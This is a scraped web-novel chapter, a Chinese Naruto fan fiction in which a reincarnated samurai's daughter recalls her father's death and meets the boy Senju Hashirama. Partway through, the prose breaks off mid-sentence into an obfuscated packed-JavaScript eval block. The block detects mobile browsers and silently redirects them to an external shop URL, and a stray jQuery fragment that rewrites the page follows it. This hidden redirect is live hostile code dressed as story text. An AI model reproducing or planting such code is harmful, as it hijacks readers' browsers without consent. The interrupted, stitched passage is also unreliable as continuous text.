文趣网 > 其他小说 > [综]不想恋爱,但掷出苹果 > 4. 双环垂发
    第4章双环垂发

    织织的穿越后新父亲,浅井正,是个爱笑的人。

    她穿越过来那年才五岁,对这位父亲的记忆如同像浸了水的宣纸,边缘模糊,中间只留着几道淡化的墨痕。他们相处时间非常的短,她只记得父亲的笑声,记得他把她举起来时手臂的力道,记得他蹲下来跟她平视时,眼睛里那种温温的像晒过太阳的棉布一样的柔软。

    “织织呀,”他有一次说,手指穿过五岁的她那时还稀疏细软的金发,“像秋天的稻穗一样可爱。”

    那时候的织织刚穿越过来,营养不良,金发干枯得像稻草,发量也少,薄薄一层贴在头皮上。

    她照镜子只觉得自己像个病恹恹的枯瘦的小孩子,但父亲说她长相可爱,好吧,她勉强信了。

    浅井家是武士出身,虽然落魄了,地皮还在,新父亲是个老派的人,信奉武士道那一套。

    战国时代,小忍者族群像野草一样遍地都是,今天依附这个大名出任务,明天被其他忍族剿灭,命比露水还轻。

    浅井正帮过其中一个。

    不是什么大事,不过是几石糙米,几匹布跟一点粗盐,一片破落的屋子让他们暂且栖身。那群忍者不过七八个人,领头的是个胖胖的中年大叔,千恩万谢地接了,以为可以撑过去漫长的冬日,待春天再有所回报。

    将来还没到,仇家先来了。

    那是个雨夜,狂风暴雨,雷鸣电闪,总是经典的套路,结局也一样传统。织织被母亲捂在被子里,听见外面刀剑相撞的声音,轰鸣声一道道传来。

    然后是父亲的声音,他大声呐喊“下克上!岂有此理!”。然后声音断了,像琴弦被一刀崩断。

    浅井夫人顶住了摇摇欲坠的家,她是个清秀的女人,眉眼寡淡,椭圆的脸蛋总是带着温婉的笑意,武士夫人这四个字像一层釉,让她有不一样的光泽。

    她卖掉了浅井正留下的最后几块地,用那笔钱搭上了药材的线路,

    她不懂药材,但她略懂点男人。

    *

    织织的发量是在后面两年里慢慢厚起来的。

    大概是吃饱了,也大概是穿越带来的馈赠,像某种看不见的根须,在她身体里悄悄扎下去。她头发开始浓密,慢慢的开始发光,就像宝物蒙尘,珍珠的光泽一擦就润润的闪烁。

    有段时间家里药材回款断了,浅井夫人不动声色地剪掉她一把头发,拿去换了钱。

    织织站在铜镜前,看着自己突然短了一大截的金发,愣了很久。

    今天来宫田家,织织穿的是素色小袖,短身窄袖,无刺绣花纹,极为简单朴素,却像一小朵洁白的睡莲,盈盈悠悠,她腰间系着蓝色细带,颜色浅得像雨后的天空。

    现在她的头发只到肩膀,两边留着长长的须须,像垂下来的金色流苏。浅井夫人用两根细带子把须须扎成小束,固定成双环垂发,上面别了小小的白色布花,贴在她脸颊两侧,楚楚可爱。

    “浅井,然后呢然后呢?”千手柱间自然地紧紧地看着小布花,大大咧咧继续追问。

    织织不吭声了,她看向草地,有必要告诉陌生忍者吗?然后她看到了一双凉鞋。

    木屐的底,绳带从脚趾缝里穿过去,稳稳地踩在地上。织织猫眼一样的黄金瞳微微睁大,她刚才明明看见这个人从树上跳下来的,落地那么轻盈,脚趾居然没有从拖鞋里滑出来?

    这是什么忍者平衡术?脚趾抓力?为什么忍者要穿拖鞋啊?太奇怪了这个锅盖头,不是主角的话,忍者逼格不需要有酷炫的头发酷炫的鞋子吗?

    “你还没有告诉我名字呢。”

    千手柱间又问她,笑得很有感染力,眉眼弯弯的,像阳光从云缝里漏下来,“呐!鞋子!我们可以踩得稳稳的!安心吧!没有顾虑的!”

    织织惊了,为什么这个小忍者会知道她的吐槽?她忍不住抬头上下好好端详了一下这个小男孩。

    不得不承认,他长得确实不错。五官端正,英气勃发,眉眼鲜明利落,虽然那个锅盖头有点滑稽,但配上他那种毫无阴霾的笑容,非常阳光小少年。

    “……浅井织织。”她顿了顿,补充道,“叫我浅井就好。”

    “好哦,织织小姐。”千手少年从善如流,手里忽然多了一朵白色的小花,不知道从哪里变出来的,“呐,送给织织小姐哦。”

    织织皱了下细细的眉毛,干嘛啊,大家又不熟。

    “浅井,”她抿着花瓣一样的嘴唇,花瓣坚定重复了一遍,“浅井,谢谢。”

    千手少年愣了一下,然后笑得更开了,“哈哈哈哈哈哈哈哈!”

    “好的,织织小姐,”弯弯的笑眼又把那朵小小的白花往前送来,“为我的不当行为,深感抱歉。”

    织织盯着那朵小花,白色的,五瓣,挺可爱的,但她没接。

    千手少年也不恼,把花轻轻放在她身边的树枝上,自顾自的走向她,肩膀几乎要碰到她的肩膀,织织往旁边挪了挪,他又跟过来一点,像只大型的狗狗,热度随着体积就传递过来了。

    织织觉得这个千手少年有些热,她四周的温度都微妙的开始提高。

    “织织小姐是武士家的女儿吧?”他忽然说道。

    织织的脊背又僵了一下,怎么回事,这个少年怎么回事。

    “你怎么又知道了?”她回头,黄金瞳警惕的盯着对面的小男孩,眉毛紧凑的贴着眼睛,眼神犀利地看着对方,脸颊两边的小布花在她小脸上可爱得像小猫戴花。

    “猜的呀,”千手说得理所当然,俏皮的眨眨眼睛,“呐,我今年10岁,是家里的大哥哦,下面有很可爱的弟弟们,下次带织织小姐认识一下哦,啊我喜欢吃饭!喜欢森林!喜欢,喜欢……”

    织织还是看着他,黄金瞳在阳光下闪闪发光,晕染的光晕让人不由自主的沉入其中。

    这个小孩……看起来大大咧咧的,话多得像夏天的蝉,她想起他坐在树上,他难道一直在看吗?看了多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629315|206308||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    久?看了多少?

    “千手君,”她说,细眉舒展,光慢慢柔和开来,语气平淡,“很高兴认识你。”

    千手少年好似没有眨眼,认真的盯着面前的黄金猫瞳,“织织小姐很有趣,吃东西的时候,眼睛会亮一下,但是亮完之后,又暗下去了,明明在笑,但是笑完之后,眉头会皱一点点,非常非常小的一点点,”他用拇指和食指比了一个极小的距离,“像这样。”

    织织没说话。

    她忽然觉得骨头缝里渗出来几点倦意。昨晚她没睡好,梦里一直在点外卖,醒来的时候,天还没亮,她盯着漆黑的屋顶,听着自己的肠胃哀哀鸣叫。

    现在,千手少年的声音像某种白噪音,嗡嗡的,在她耳边响着。他说什么她都没太听清,只感觉到那种熟悉的饱腹感又上来了,温热的,充实的,从胸腔蔓延到腹部再到四肢,他的注视,他的热情,他毫不掩饰的喜欢。

    她打了个小小的哈欠。

    “困了吗?”千手少年立马停住了碎碎念。

    “嗯……没有……”织织纤长的睫毛垂了下来,像蝴蝶翅膀缓慢地缓慢得飞舞。

    “昨晚没睡好吧?”千手少年从怀里掏出一样东西,递到她面前,“吃颗糖,保持清醒。在这里睡着的话,还是不太好的,会被大人责怪失礼的。”

    那颗糖小小的,用某种半透明的纸包着,在太阳底下泛着琥珀色的光。她没见过这种糖,战国时代,糖是奢侈品,她只在母亲锁着的木箱子里见过蜂蜜。

    “你怎么……”她想问你怎么知道我没睡好,想问你怎么随身带着糖带着小白花啊,想问你怎么连失礼这种事都想到的。

    千手少年只是笑着,把小小的糖又往前递了递。

    “我是柱间,”他说,“织织小姐叫我柱间吧。”

    织织拒绝不了糖,谁能在这种物质匮乏时代拒绝啊,她接过糖,指尖碰到他的掌心,体温非常高,皮肤上全是粗糙的硬茧,手指骨节粗壮均匀,年龄虽然不大但是手指很有力度。

    她慢慢地剥开糖纸,把糖放进嘴里。

    甜味在舌尖化开的瞬间,她忽然想起昨晚梦里永远点不到的外卖。

    柱间还在说话,絮絮叨叨的,讲千手家的训练很有意思,讲他弟弟们可爱聪明能干,讲他昨天在树林里看见一只特别胖的松鼠。织织听着,一句也没往心里去,但那种饱腹感让她整个人都松弛下来,像泡进温水里的纸,慢慢软了,化了。

    这个人话真多啊。

    但是……好像也不讨厌。当背景音刚刚好,舒服的热度让人昏昏欲睡。

    远处僧侣的诵经声,风吹过树叶的沙沙声,千手少年止住了话语。

    织织微微动了动,金色的双环垂发随着她一起摇摆,像两缕融化的阳光,小布花突然从脸颊边滑落。

    千手少年的手一下子托在了她的脸下方,悄然地接住了小布花,动作轻轻的不带一丝风声,手掌的热度却越来越近,几乎快碰到她的下巴。